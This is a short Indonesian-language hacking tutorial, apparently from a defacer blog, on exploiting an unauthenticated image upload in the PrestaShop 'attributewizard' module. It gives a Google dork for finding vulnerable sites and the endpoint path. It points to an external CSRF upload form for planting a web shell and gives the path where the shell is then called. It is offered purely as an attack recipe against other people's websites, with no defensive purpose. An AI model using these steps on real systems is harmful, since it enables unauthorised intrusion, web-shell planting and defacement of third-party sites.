Pretashop Attribute Upload

   Entah gua  perenang atau bukan yang jelas gua suka nyelam :D
kali ini gua mau kasih  turtor, namanya pretashop attribute upload.
langsung aja nih step by step
pertama copy dork di mesin pencarian lu.
lalu  lu klik images biar makin banyak yang vuln

dork:inurl:/modules/attributewizard
kemudian masukan exploitnya jadi
:www.site.co.id/modules/attributewizard/image_upload.php
Exploit:/modules/attributewizard/image_upload.php

kalo ada bacaan error berarti vuln,
lalu upload shell lu, gimana ? gak ada tombol browse ? ya pake csrf lah :v
csrf http://pastebin.com/ZXg8hJLQ copy csrf di notepad dengan ekstensi, html
masukan taget, lalu pilih shell, kalo ada bacaan succes berarti berhasil :v
cara manggilnya
www.site.com/modules/attributewizard/img/id_group_.php
nama file lu jadi (id_group_.php)  .php tergantung ekstensi lu kalo lu tanam html jadi (id_group_.html)
Sekian turtor dari gua, :D